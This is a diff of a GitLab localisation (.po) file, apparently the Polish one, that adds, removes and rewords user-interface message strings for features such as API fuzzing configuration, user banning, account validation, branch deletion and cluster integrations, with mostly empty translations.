msgstr ""
@@ -1677,6 +1690,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1722,9 +1738,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1764,30 +1777,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1803,7 +1810,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1830,6 +1837,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2097,6 +2113,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2373,6 +2392,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2538,9 +2560,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2553,9 +2572,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2580,9 +2596,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2628,6 +2641,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2646,6 +2662,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2694,6 +2713,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2724,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2778,6 +2815,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2859,6 +2899,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2874,6 +2923,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2886,6 +2941,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2910,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2922,6 +2983,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2967,9 +3031,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2977,7 +3038,7 @@ msgid "Advanced export options"
msgstr ""
msgid "Advanced permissions, Large File Storage and Two-Factor authentication settings."
-msgstr "Zaawansowane pozwolenia, Magazyn Dużych Plików i Dwuczynnikowe ustawienia autoryzacji."
+msgstr "Zaawansowane pozwolenia, Magazyn Dużych Plików i Ustawienia dwuskładnikowego uwierzytelnienia."
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
@@ -3010,9 +3071,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3382,9 +3440,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3487,6 +3542,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3700,6 +3758,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3793,9 +3854,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3865,7 +3923,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4346,6 +4404,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4376,16 +4437,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4970,7 +5028,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5039,6 +5097,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5195,6 +5256,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5213,6 +5277,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5228,6 +5295,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5246,6 +5316,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5261,6 +5334,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5273,6 +5367,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5282,6 +5379,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5516,6 +5619,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5528,6 +5634,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5537,6 +5646,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5558,12 +5673,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5597,6 +5718,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5609,6 +5733,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5678,6 +5814,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5690,9 +5829,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5759,9 +5904,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5810,15 +5952,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5829,6 +5971,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6522,7 +6667,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6906,72 +7051,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7134,6 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7176,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7344,6 +7423,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7428,9 +7510,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Projekt Platformy Google Cloud"
@@ -7491,7 +7570,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7587,9 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7602,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7701,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7842,9 +7912,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7857,9 +7924,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8133,6 +8197,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8278,6 +8351,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8416,9 +8492,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8539,6 +8612,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8602,6 +8678,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8763,6 +8842,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9445,9 +9527,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9478,9 +9557,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9532,6 +9608,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9583,6 +9662,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9616,6 +9698,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9943,27 +10028,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10188,9 +10252,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10410,9 +10480,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10780,6 +10847,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11510,22 +11580,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11534,6 +11610,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11561,6 +11640,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11582,6 +11664,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11594,21 +11679,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11675,15 +11772,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11711,6 +11808,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11940,7 +12040,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11955,6 +12055,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
